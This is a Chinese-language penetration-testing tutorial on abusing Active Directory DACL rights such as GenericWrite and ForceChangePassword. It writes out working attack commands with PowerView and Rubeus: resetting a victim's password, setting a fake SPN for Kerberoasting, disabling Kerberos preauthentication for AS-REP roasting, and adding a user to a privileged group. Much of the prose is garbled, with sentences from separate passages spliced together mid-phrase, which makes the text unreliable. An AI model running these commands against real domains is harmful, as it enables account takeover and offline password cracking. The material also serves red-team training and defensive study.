Skip to main content

DACL的利用

概念

随着我们危害越来越多的用户和计算机,我们发现其中一些对其他域对象具有特定权限。 例如,一个受损的用户帐户可以在不知道原始密码的情况下重置另一个用户的密码。 如果我们故意利用它,我们将危及更多用户。 为了理解这种类型的攻击,让我们介绍一下 DACL 的概念。 在 Active Directory 的上下文中,DACL(自由访问控制列表)是访问控制条目 (ACE) 的列表,它指定允许或拒绝哪些用户或组访问特定资源,例如计算机、SMB 共享或用户帐户 . DACL 作为对象的属性存储,用于对对象实施访问控制。

DACL 中的每个 ACE 指定授予或拒绝特定用户或组的访问权限以及适用于这些权限的权限。 在我们的例子中,用户 svc_sql 可以在不知道 David 原始密码的情况下重置 David 的密码。 我们可以在下图中看到 David 上的 DACL。

从 DACL 来看,这个 ACE 明确指出 svc_sql 可以重置 David 的密码。

 

域内,也许会有一些主体对于其他更搞 Active Directory 中可以通过多种方式利用 ACL,包括:

1:使用特权号具有ACLs,这会导致户修改 DACL:如果特权号接户遭到破坏,例如域。举个例子理员帐户support组可以修改域管理员目录中密码
任何对象。

2:缺乏职责分离:如果不同的组或用户A可以重置用户B的密码时
net被授予对 userActive jadamsDirectory Passw0rd中不同对象的访问权限,但没有适当的职责分离,攻击者可能会通过访问他们通常不会拥有的对象来提升他们的特权 /domain
PowerView中
Set-DomainUserPassword -identity jadams -AccountPassword (ConvertTo-SecureString 'Passw0rd' -AsPlainText -Force) -Verbose
OPSEC:这是个很不好的OPSEC
访问权限。

image.png3:不受限制地访问对象:如果 Active Directory 中的某些对象没有得到充分保护,攻击者可能会在不被发现的情况下访问和修改它们。

当用户A对用户B具有GenericWrite权4:权配置错误:如果权限配置不正确,攻击者可能会未经授权访问域中的主体。

我们还可以给用户设置SPN并进行Kerberoasting攻击,之后离线破解Krb5TGS哈希
PowerView中
Set-DomainObject -Identity jadams -Set @{serviceprincipalname="srv-1/evil"}
execute-assembly rubeus.exe kerberoast /user:jadams /format:hashcat /nowrap
Set-DomainObject -Identity jadams -Clear ServicePrincipalName

image.png

类似于刚才的思想,我们可以禁用用户账户的预认证然后对其进行ASREPRoasting攻击
我们需要修改将分别讨论这个活动标用户账户的UAC值以禁用预认证
Get-NetUser -Identity jadams | ConvertFrom-UACValue
Set-DomainObject -Identity jadams -XOR @{UserAccountControl=4194304}
Get-NetUser -Identity jadams | ConvertFrom-UACValue
rubeus.exe asreproast /user:jadams /format:hashcat /nowrap

image.png

GenericWrite权限也可以用此方法进行利用
恢复预认证
Set-DomainObject -Identity jadams -XOR @{UserAccountControl=4194304}
Get-DomainUser -Identity jadams | ConvertFrom-UACValue

image.png

如果我们对于录中个组具有ACL,我们可以添加或删除组成员
net group "Oracle Admins" bfarmer /add /domain
还有其他有意思些常见的 DACL 可能导致类似的利用。 例如,我们为了发现潜在的利用 WriteDacl从而将 GenericAll权限 授予任何主体。 DACL,我们还可以利主要使WriteOwner从而将对象BloodHound,因为它有一个简单所有权更改为任何主体,然后该主体将在 GUI。

ForceChangePassword

 

GenericAll

 

GenericWrite

 

AllExtendedRights

 

上继承

GenericAll。